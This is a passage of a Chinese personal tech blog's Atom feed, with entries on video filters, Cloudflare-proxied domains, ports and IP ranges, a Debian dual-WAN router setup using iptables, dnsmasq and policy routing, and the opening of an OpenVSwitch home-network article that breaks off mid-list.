&lt;img src=&quot;&#x2F;images&#x2F;2025-10-09-15-20-30.png&quot; alt=&quot;滤镜&quot; &#x2F;&gt;
V1：添加【棕褐色调】
V2：添加【蒙板：简易形状】, 操作为： 减去&lt;&#x2F;li&gt;
&lt;li&gt;观看效果， 导出视频即可&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>feat: 编程 术语-Terminology</title>
        <published>2025-10-08T17:36:54+08:00</published>
        <updated>2025-12-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/feat: 编程 术语-Terminology/"/>
        <id>https://vercel.juzhong.asia/2025/10/feat: 编程 术语-Terminology/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/feat: 编程 术语-Terminology/">&lt;h1 id=&quot;terminology&quot;&gt;terminology&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;良构&lt;&#x2F;li&gt;
&lt;li&gt;硬编码 =&amp;gt; 变量&lt;&#x2F;li&gt;
&lt;li&gt;魔术&lt;&#x2F;li&gt;
&lt;li&gt;PKI 公钥基础设施（Public Key Infrastructure）&lt;&#x2F;li&gt;
&lt;li&gt;PKCS (Public-Key Cryptography Standards，公钥密码学标准)&lt;&#x2F;li&gt;
&lt;li&gt;key_forward&lt;&#x2F;li&gt;
&lt;li&gt;key_backward&lt;&#x2F;li&gt;
&lt;li&gt;digest_forward&lt;&#x2F;li&gt;
&lt;li&gt;digest_backward&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;lian-jie&quot;&gt;链接&lt;&#x2F;h1&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cloudflare代理的常用网站</title>
        <published>2025-10-08T16:49:27+08:00</published>
        <updated>2025-11-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/cloudflare代理的常用网站/"/>
        <id>https://vercel.juzhong.asia/2025/10/cloudflare代理的常用网站/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/cloudflare代理的常用网站/">&lt;h1 id=&quot;chang-yong-wang-zhan&quot;&gt;常用网站&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;alejandracaiccedo.com
cdn.anycast.eu.org
download.yunzhongzhuan.com
fbi.gov
gur.gov.ua
icook.hk
icook.tw
iplocation.io
ip.sb
japan.com
log.bpminecraft.com
malaysia.com
russia.com
shopify.com
singapore.com
skk.moe
time.cloudflare.com
time.is
whatismyipaddress.com
www.4chan.org
www.csgo.com
www.d-555.com
www.digitalocean.com
www.gco.gov.qa
www.glassdoor.com
www.gov.se
www.gov.ua
www.hugedomains.com
www.iakeys.com
www.ipaddress.my
www.ipchicken.com
www.ipget.net
www.iplocation.net
www.okcupid.com
www.pcmag.com
www.sean-now.com
www.shopify.com
www.udacity.com
www.udemy.com
www.visa.co.jp
www.visa.com
www.visa.com.hk
www.visa.com.sg
www.visa.com.tw
www.visakorea.com
www.whatismyip.com
www.whoer.net
www.who.int
www.wto.org
www.zsu.gov.ua
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;cloudflare-kai-fang-de-duan-kou&quot;&gt;cloudflare 开放的端口&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;http-ports-supported-by-cloudflare&quot;&gt;HTTP ports supported by Cloudflare&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;HTTP支持端口：80，8080，8880，2052，2082，2086，2095；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;https-ports-supported-by-cloudflare&quot;&gt;HTTPS ports supported by Cloudflare&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS支持端口：443，2053，2083，2087，2096，8443;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ports-supported-by-cloudflare-but-with-caching-disabled&quot;&gt;Ports supported by Cloudflare, but with caching disabled&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;2052 2053 2082 2083 2086 2087 2095 2096 8880 8443&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;fundamentals&#x2F;reference&#x2F;network-ports&#x2F;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cloudflare-di-zhi-fan-wei&quot;&gt;cloudflare 地址范围&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;173.245.48.0&amp;#x2F;20
103.21.244.0&amp;#x2F;22
103.22.200.0&amp;#x2F;22
103.31.4.0&amp;#x2F;22
141.101.64.0&amp;#x2F;18
108.162.192.0&amp;#x2F;18
190.93.240.0&amp;#x2F;20
188.114.96.0&amp;#x2F;20
197.234.240.0&amp;#x2F;22
198.41.128.0&amp;#x2F;17
162.158.0.0&amp;#x2F;15
104.16.0.0&amp;#x2F;13
104.24.0.0&amp;#x2F;14
172.64.0.0&amp;#x2F;13
131.0.72.0&amp;#x2F;22

2400:cb00::&amp;#x2F;32
2606:4700::&amp;#x2F;32
2803:f800::&amp;#x2F;32
2405:b500::&amp;#x2F;32
2405:8100::&amp;#x2F;32
2a06:98c0::&amp;#x2F;29
2c0f:f248::&amp;#x2F;32
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;https:&#x2F;&#x2F;www.cloudflare-cn.com&#x2F;ips&#x2F;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.cmliussss.com&#x2F;p&#x2F;CloudFlare%E4%BC%98%E9%80%89&#x2F;&quot;&gt;优选域名&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cloudflare-cn.com&#x2F;ips&#x2F;&quot;&gt;cloudflare-ips&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XIU2&#x2F;CloudflareSpeedTest&quot;&gt;cloudflare-speedtest&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>配置Debian路由器双WAN接入</title>
        <published>2025-10-08T00:00:00+00:00</published>
        <updated>2025-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/配置debian路由器双wan接入/"/>
        <id>https://vercel.juzhong.asia/obsidian/配置debian路由器双wan接入/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/配置debian路由器双wan接入/">&lt;h1 id=&quot;pei-zhi-debianlu-you-qi-shuang-wanjie-ru&quot;&gt;配置Debian路由器双WAN接入&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;pei-zhi-debianlu-you-qi-shuang-wanjie-ru-1&quot;&gt;配置Debian路由器双WAN接入&lt;&#x2F;h2&gt;
&lt;p&gt;鉴于移动免费送了1年200M的一条宽带，没多犹豫决定还是要用起来。经过一番折腾，基本搞好了，目前的情况大概是这样的：&lt;&#x2F;p&gt;
&lt;p&gt;2年前也写过&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.ismisv.com&#x2F;2020&#x2F;04&#x2F;add-tl-ac100&#x2F;&quot;&gt;文章&lt;&#x2F;a&gt;提到过家里的网络拓扑，大的变化没有，只是加了一些新设备。现在在原有电信宽带的情况下，新增一条移动宽带，主要就是把接入路由器换了，原本的TP-Link R470GP只能接入一个WAN，正好目前R86S比较火，买了个最便宜的版本，先不考虑自己折腾猫棒，能双线以太网口接入就行。另外从闲鱼收了一个TP-Link SG1210P，索性把所有面板都从同一个交换机连上，情况会简单很多。&lt;&#x2F;p&gt;
&lt;p&gt;TP-Link SG1210P有3种工作模式，其中VLAN模式和视频监控模式，LAN中的设备只能与上游接入设备通信，我这里客厅的HTPC要与主卧的诸多设备互通，所以要把TP-Link SG1210P切换到标准模式。&lt;&#x2F;p&gt;
&lt;p&gt;剩下的工作就是把R86S配置好，顺便把原来HTPC&#x2F;Debian上的科学上网工作也移到R86S上。我给R86S装了最新的Debian 11，网上看其他做软路由的文章&#x2F;视频99.9%是刷OpenWRT，我为什么不用呢，有几个原因：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;首先最重要的是，Debian是我最喜欢的Linux发行版，没有之一。从图上可以看到，客厅的HTPC，主卧的曾经的主力旁路由，都是装的Debian，我所有的VPS上也都用的Debian。&lt;&#x2F;li&gt;
&lt;li&gt;其次，我觉得OpenWRT的可玩性不如Debian好，Debian做路由系统需要自己动手做的事更多，但另一方面讲也更自由。&lt;&#x2F;li&gt;
&lt;li&gt;Debian官方仓库的软件包更多更可信，OpenWRT这方面差一点，系统和软件包的魔改版本太多，全都自己编译的话太费时费力。&lt;&#x2F;li&gt;
&lt;li&gt;最后，对OpenWRT的质量不太信任，之前&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.ismisv.com&#x2F;2021&#x2F;01&#x2F;gl-inet-mt1300&#x2F;&quot;&gt;买了个GL.iNet MT1300&lt;&#x2F;a&gt;，刷的是厂商定制的OpenWRT，升级系统没一次是没问题的。而我这么多不同硬件环境下的Debian系统大版本升级没一次是有问题的。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;再来讲如何将Debian配置成一个路由器。我的R86S是最低配的那款，只有3个以太网口，规划好3个口的用途，将外壳上标记的eth0和eth1作为WAN口，连接运营商的光猫，eth2作为LAN口，连接屋内的交换机。&lt;&#x2F;p&gt;
&lt;p&gt;首先，在sysctl中将包转发功能打开（我不使用IPv6，不实用），root打开文件&lt;code&gt;&#x2F;etc&#x2F;sysctl.conf&lt;&#x2F;code&gt;，顺便把BBR也打开：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;net.ipv4.ip_forward=1
net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再运行一下&lt;code&gt;sysctl -p&lt;&#x2F;code&gt;使其生效。&lt;&#x2F;p&gt;
&lt;p&gt;然后配置网络连接，我有3个网口，分别是&lt;code&gt;enp1s0&lt;&#x2F;code&gt;，&lt;code&gt;enp2s0&lt;&#x2F;code&gt;，&lt;code&gt;enp3s0&lt;&#x2F;code&gt;，前2个分别接入电信和移动宽带，第3个作为LAN，编辑&lt;code&gt;&#x2F;etc&#x2F;network&#x2F;interfaces&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto enp1s0
iface enp1s0 inet dhcp
#iface enp1s0 inet6 dhcp

auto enp2s0
iface enp2s0 inet dhcp
#iface enp2s0 inet6 dhcp

auto enp3s0
iface enp3s0 inet static
    address 192.168.233.1
    netmask 255.255.255.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果想用IPv6，可以把&lt;code&gt;inet6&lt;&#x2F;code&gt;那两行注释去掉，我不用，所以就注释掉了，都使用DHCP从光猫获取IP。把内网网段设为&lt;code&gt;192.168.233.x&lt;&#x2F;code&gt;，本机作为路由器即网关，就用&lt;code&gt;192.168.233.1&lt;&#x2F;code&gt;。再设置一下iptables转发参数，运行命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;iptables -t nat -A POSTROUTING -o enp1s0 -j MASQUERADE
iptables -t nat -A POSTROUTING -o enp2s0 -j MASQUERADE
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时已经可以上网了，比如敲个命令&lt;code&gt;curl www.baidu.com&lt;&#x2F;code&gt;看一下，可以得到返回的内容。如果有其他设备接入enp3s0的口，并手动将IP和子网掩码，网关分别设置到&lt;code&gt;192.168.233.x&lt;&#x2F;code&gt;，&lt;code&gt;255.255.255.0&lt;&#x2F;code&gt;，&lt;code&gt;192.168.233.1&lt;&#x2F;code&gt;，其中x是[2，255]间的整数。&lt;&#x2F;p&gt;
&lt;p&gt;接着使用dnsmasq作为DHCP服务器。安装好后编辑配置文件&lt;code&gt;&#x2F;etc&#x2F;dnsmasq.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;interface=enp3s0
dhcp-range=192.168.233.200,192.168.233.250,255.255.255.0,12h
dhcp-option=option:router,192.168.233.1
dhcp-option=option:dns-server,192.168.233.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;内容很简单：第1行，将服务绑定到第3个网口，第2行，设定自由分由的IP地址池以及有效时间，第3行，告知客户端使用的网关IP，第4行，告知客户端使用的DNS服务器地址。还可以绑定IP和mac地址，这样可以在后续针对某个设备做些特殊的设置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;dhcp-host=00:e0:4c:68:2a:5f,192.168.233.166
dhcp-host=00:e0:4c:68:2a:60,192.168.233.66
dhcp-host=00:1E:65:41:73:C2,192.168.233.16
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里我将本机作为DNS服务器，dnsmasq本身也是一个DNS服务器程序，但我习惯使用CoreDNS，在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.ismisv.com&#x2F;2019&#x2F;07&#x2F;coredns-no-dns-poisoning&#x2F;&quot;&gt;以前的文章&lt;&#x2F;a&gt;中详细讲过。&lt;&#x2F;p&gt;
&lt;p&gt;最后是配置一下分流策略，我没拿双线做负载均衡和故障转移，因为我觉得电信1000M和移动200M接入以我家里平常的使用习惯，以及凭目前的服务质量可能一年都碰不到一次需要用另一根线的情况。而流量分流的话，可能在访问某一些服务器时延迟能减少几毫秒（误！我的策略很简单，如果目的IP是归属移动的，则走移动线，否则走电信线。需要分本机流量和非本机流量两种情况处理，先处理非本机的情况，从&lt;code&gt;https:&#x2F;&#x2F;ispip.clang.cn&#x2F;&lt;&#x2F;code&gt;下载归属移动的IP地址段列表，然后添加到一个ipset中，命令如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rm -f &amp;#x2F;tmp&amp;#x2F;cmroute.txt
curl -sSL https:&amp;#x2F;&amp;#x2F;ispip.clang.cn&amp;#x2F;cmcc_cidr.txt | while read line
do
    echo &amp;quot;add cmroute $line&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;tmp&amp;#x2F;cmroute.txt
done
ipset create cmroute hash:net family inet hashsize 1024 maxelem 512
ipset restore -f &amp;#x2F;tmp&amp;#x2F;cmroute.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后给&lt;code&gt;enp3s0&lt;&#x2F;code&gt;的流入流量打个标签：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;iptables -A PREROUTING -i enp3s0 -t mangle -m set --match-set cmroute dst -j MARK --set-mark 10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再给移动线建一个新的路由表（假设叫table 10）并打了标签的流量都导到这个路由上去（192.168.1.6是移动光猫分配出来的IP）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip rule add from 192.168.1.6 table 10
ip rule add fwmark 10 table 10
ip route add 192.168.1.0&amp;#x2F;24 dev enp2s0 src 192.168.1.6 table 10
ip route add default via 192.168.1.1 dev enp2s0 table 10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时接入到enp3s0口的设备访问移动网络的IP时就会走移动线路了，可以打开移动官网或手机app，感觉似乎真的快了一点点呢！&lt;&#x2F;p&gt;
&lt;p&gt;最后，把本机的流量也分一下，直接改主路由表就行了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl -sSL https:&amp;#x2F;&amp;#x2F;ispip.clang.cn&amp;#x2F;cmcc_cidr.txt | while read line
do
    ip route add $line dev enp2s0
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;路由器的基本设置就完成了。另外还可以弄一下科学上网等，这是另一个话题了，暂且略过。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>零依赖的软路由——使用OpenVSwitch改造家庭网络</title>
        <published>2025-10-08T00:00:00+00:00</published>
        <updated>2025-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/零依赖的软路由-使用openvswitch改造家庭网络/"/>
        <id>https://vercel.juzhong.asia/obsidian/零依赖的软路由-使用openvswitch改造家庭网络/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/零依赖的软路由-使用openvswitch改造家庭网络/">&lt;h1 id=&quot;ling-yi-lai-de-ruan-lu-you-shi-yong-openvswitchgai-zao-jia-ting-wang-luo&quot;&gt;零依赖的软路由——使用OpenVSwitch改造家庭网络&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;372635925&quot;&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;372635925&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;众所周知，家庭网络少不了路由器。路由器是家庭网络的入口，承载了IP获取、DHCP、DNS、NAT等一系列基础功能。&lt;&#x2F;p&gt;
&lt;p&gt;常见的家庭网络拓扑中，路由器接在光猫后面，设备通过有线或无线的方式接在路由器后面，如下图所示：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;                                            +-------+
                                    +-------| Phone |
                                    |       +-------+
                                    |
    +-------+       +--------+      |       +----+
&amp;lt;---| Modem |-------| Router |------+-------| PC |
    +-------+       +--------+      |       +----+
                                    |
                                    |       +------+
                                    +-------| XBox |
                                            +------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;家用路由器功能比较简单，说白了，家用路由器的核心功能不过就是广播域+DHCP Server+简单的SNAT网关+AP热点，这些功能跟网络上所说的“路由”其实关系不大。
由于家庭网络环境简单，设备少，也没有什么复杂的网络功能可以往里加。比较实用的附加功能其实也就是“一键组网”和“无线Mesh”，但是跟“路由”本身也没有什么太大关系。&lt;&#x2F;p&gt;
&lt;p&gt;而软路由则功能比较多，可定制性强。支持例如多拨号，限流，流量处理（例如去广告）等功能，性能富余的软路由还可以跑容器、虚拟机，或者当作NAS使用。此外软路由搭建简单方便，但凡是能装linux的设备，有两个网口（单网口稍复杂一些，后文会讲），就能做软路由，比如树莓派插usb网卡、笔记本电脑、HTPC等，也有一些硬路由可以刷OpenWrt等固件变成软路由。&lt;&#x2F;p&gt;
&lt;p&gt;使用软路由时，有这几种组网方案：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ruan-lu-you-bo-hao&quot;&gt;软路由拨号&lt;&#x2F;h3&gt;
&lt;p&gt;软路由拨号。需要找电信把光猫配成桥接模式。这样拓扑简单，流量自然而然的都从路由走。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;    +--------+              +---------+
&amp;lt;---| Router |--------------| Devices |
    +--------+              +---------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里还分两种情况。
一种情况是路由器有至少两个网口，这种情况接线方便，一个口上联接光猫，一个口下联接家庭设备即可。
另一种情况是路由器只有一个网口，这种情况只能把路由器、光猫、以及家中的其他设备接在同一个交换机上（一般家用交换机不支持vlan，如果支持的话接交换机的口开trunk，划分vlan后一个网口可以当作多个网口用，就和前一种情况一样了）。由于上联光猫（或者运营商）对报文有处理，家里出去的广播包不会影响它的正常工作，所以这样接线流量也可以正常跑通。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;guang-mao-bo-hao&quot;&gt;光猫拨号&lt;&#x2F;h3&gt;
&lt;p&gt;软路由作为光猫的“用户”，光猫使用路由模式。其实光猫本身就是一个路由器，电信工作人员也更倾向于将光猫配置成路由模式，这也是现在大部分家庭路由器一接上光猫不用拨号就能直接使用的原因。&lt;&#x2F;p&gt;
&lt;p&gt;这种情况虽然对于普通用户来说简单方便，但如果想尽量减少NAT次数的话，组网反而会稍微复杂一些。&lt;&#x2F;p&gt;
&lt;p&gt;如果路由器只有一个网口，那么你需要关闭光猫的dhcp功能，让路由器做dhcp，或者关闭路由器的DHCP功能，将光猫的DHCP信息中的网关地址配置为路由器的地址（当然，路由器上联需要手动配置网关ip为光猫，而不使用DHCP分配到的，否则会出现网关地址是自己的情况）。这样才能让家庭设备自动将你的路由器作为默认网关。网络包会从路由器上绕一圈，路由器能够有机会处理这些包。
如果光猫没法关dhcp，那么可以找一个支持VLAN的交换机，通过VLAN+chunk口实现多网口路由器的效果。家用的一般叫做“网管交换机”，小几百块一个，也是能负担得起的。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;    +-------+.        +--------+
&amp;lt;---| Modem |----+----| Router |
    +-------+    |    +--------+
                 |
            +---------+
            | Devices |
            +---------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;很多人认为，光猫拨号的情况，软路由只能作为所谓的“旁路由”，即上面单口的这种情况。而实际上，如果路由器有多个网口，是可以玩出花来的。这也是本文实操的场景。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-ben-gai-nian&quot;&gt;基本概念&lt;&#x2F;h2&gt;
&lt;p&gt;在继续之前，我们先看一些待会会用到的东西。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sdn&quot;&gt;SDN&lt;&#x2F;h3&gt;
&lt;p&gt;SDN即“软件定义网络”。&lt;&#x2F;p&gt;
&lt;p&gt;传统的网络设备严格按照2、3、4层来处理网络报文：二层根据目的mac选 出端口、三层根据目的ip选下一跳、NAT操作按照五元组做session跟踪。&lt;&#x2F;p&gt;
&lt;p&gt;而SDN则&lt;strong&gt;没有任何限定规则&lt;&#x2F;strong&gt;。只要你愿意写代码，什么转发能力都可以实现。例如你可以写“如果tcp的目的端口是80，则将目的mac地址设置为00:11:22:33:44:55并将包从eth0发出”。
即使不写代码，绝大部分操作也可以完成。前人已经规范了一组标准的“匹配和转发规则”，这套规则我们一般称作“流”（flow），“流”由优先级组合在一起，形成“流表”。社区常用的配置流表的协议，叫做“OpenFlow”。而OpenVSwitch（简称ovs）则是使用最广泛的应用了OpenFlow的虚拟交换机。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dhcp&quot;&gt;DHCP&lt;&#x2F;h3&gt;
&lt;p&gt;DHCP（动态主机配置协议）用于设备的自动网络配置。设备插上网线之后，就会发起DHCP请求，这是一个广播的UDP包，同一个二层的所有机器都会收到DHCP请求。在设计网络时，一个广播域内应当只有一个DHCP服务器。
DHCP服务器收到请求后则会给客户端传回响应，告诉客户端它可以使用的ip、网段、默认网关、dns服务器，以及例如打印机地址之类的各种网络信息。
（注：实际上DHCP有两次请求响应，具体可以看rfc2131）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dns&quot;&gt;DNS&lt;&#x2F;h3&gt;
&lt;p&gt;DNS用来做域名解析，主要功能（家庭一般能用到的功能）是，把肉眼可读的字符串（例如&lt;code&gt;zhihu.com&lt;&#x2F;code&gt;）转换成ip地址（例如&lt;code&gt;103.41.167.234&lt;&#x2F;code&gt;）。
客户端发送一个基于UDP的DNS包给服务器，DNS服务器响应DNS查询的结果。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wang-qiao-br&quot;&gt;网桥（br）&lt;&#x2F;h3&gt;
&lt;p&gt;linux和ovs都提供一种叫做网桥（bridge，简称br）的虚拟网络设备。网桥可以类比为交换机。&lt;&#x2F;p&gt;
&lt;p&gt;网桥可以包含其他网络设备，即你可以把网络设备插到网桥上。每个加入网桥的设备，都相当于连了一根网线到网桥这个交换机上。
此外，在创建网桥时，会按你输入的名字建立一个网络设备，用于管理这个网桥，这个网络设备也是可以跑流量的，它默认就连接到了这个网桥里面。不过我们这里并不使用这个设备。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;veth&quot;&gt;veth&lt;&#x2F;h3&gt;
&lt;p&gt;linux提供一种虚拟网络设备，叫做veth，更具体的说，叫做veth pair。veth是&lt;strong&gt;一对&lt;&#x2F;strong&gt;连接在一起的虚拟网卡。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;+-------+                +------------+
| veth0 |----------------| veth0-pair |
+-------+                +------------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从一端进去的包，会从另一端出来。所以我倒是觉得veth更像是一根网线。举个例子，比如有两个交换机，你可以用一根网线把它们连起来；相对应的，你也可以用一对veth把两个网桥连起来。当然，veth是linux的虚拟设备，所以你可以一端插在网桥里，一端接在linux协议栈上，这样就可以让协议栈与网桥互动。
一般会把veth的一端放在网桥里，另一端放在某个netns里，比如docker默认的bridge网络就是这么干的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;namespace-ming-zi-kong-jian-ns-netns&quot;&gt;Namespace（名字空间，ns，netns）&lt;&#x2F;h3&gt;
&lt;p&gt;linux提供一个网络虚拟化的机制，叫做Namespace，一般简写ns，或者netns。每个ns有自己的一整套网络协议栈，包括网络设备、路由、netfilter等。使用ns可以方便地分割网络配置。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gai-zao-zhi-qian-de-wang-luo-fang-an&quot;&gt;改造之前的网络方案&lt;&#x2F;h2&gt;
&lt;p&gt;这里说一下我之前用的比较挫的网络方案：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;光猫使用路由模式&lt;&#x2F;li&gt;
&lt;li&gt;光猫后面接一台华为WS5200增强版家用路由器，称作R1&lt;&#x2F;li&gt;
&lt;li&gt;通过HiLink（一键组网功能），无线转接到另一台WS5200增强版家用路由器，称作R2&lt;&#x2F;li&gt;
&lt;li&gt;R1底下没有有线设备&lt;&#x2F;li&gt;
&lt;li&gt;R2底下有线接了台式、群晖、macmini&lt;&#x2F;li&gt;
&lt;li&gt;无线设备就不多说了，R1R2哪个近接哪个&lt;&#x2F;li&gt;
&lt;li&gt;群晖上跑一个桥接的虚拟机，上面跑了一个所谓的“旁路由”，但是这个“旁路由”比较特殊，下面具体说一下&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这个虚拟机里跑了一个我自己写的软件，叫&lt;code&gt;vproxy&lt;&#x2F;code&gt;。vproxy不是“路由”，而是“DNSServer”和“ProxyServer”。当收到客户端的DNS请求时，vproxy检查请求的域名是否在配置的规则内；如果在规则内，则会在配置的网段内分配一个空闲的ip，将这个ip返回给客户端。在此之后，客户端会以这个返回的ip作为目的地址开TCP连接。这时，请求就会发到vproxy上，vproxy根据分配的这个ip和域名的对应关系，进行实际的流量处理。&lt;&#x2F;p&gt;
&lt;p&gt;拿我的环境举个例子：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;网段192.168.3.0&#x2F;24&lt;&#x2F;li&gt;
&lt;li&gt;路由器网关ip 192.168.3.1&lt;&#x2F;li&gt;
&lt;li&gt;vproxy服务器192.168.3.21&lt;&#x2F;li&gt;
&lt;li&gt;在群晖上配置DHCP服务器（群晖自带的功能）&lt;&#x2F;li&gt;
&lt;li&gt;DHCP配置默认网关192.168.3.1&lt;&#x2F;li&gt;
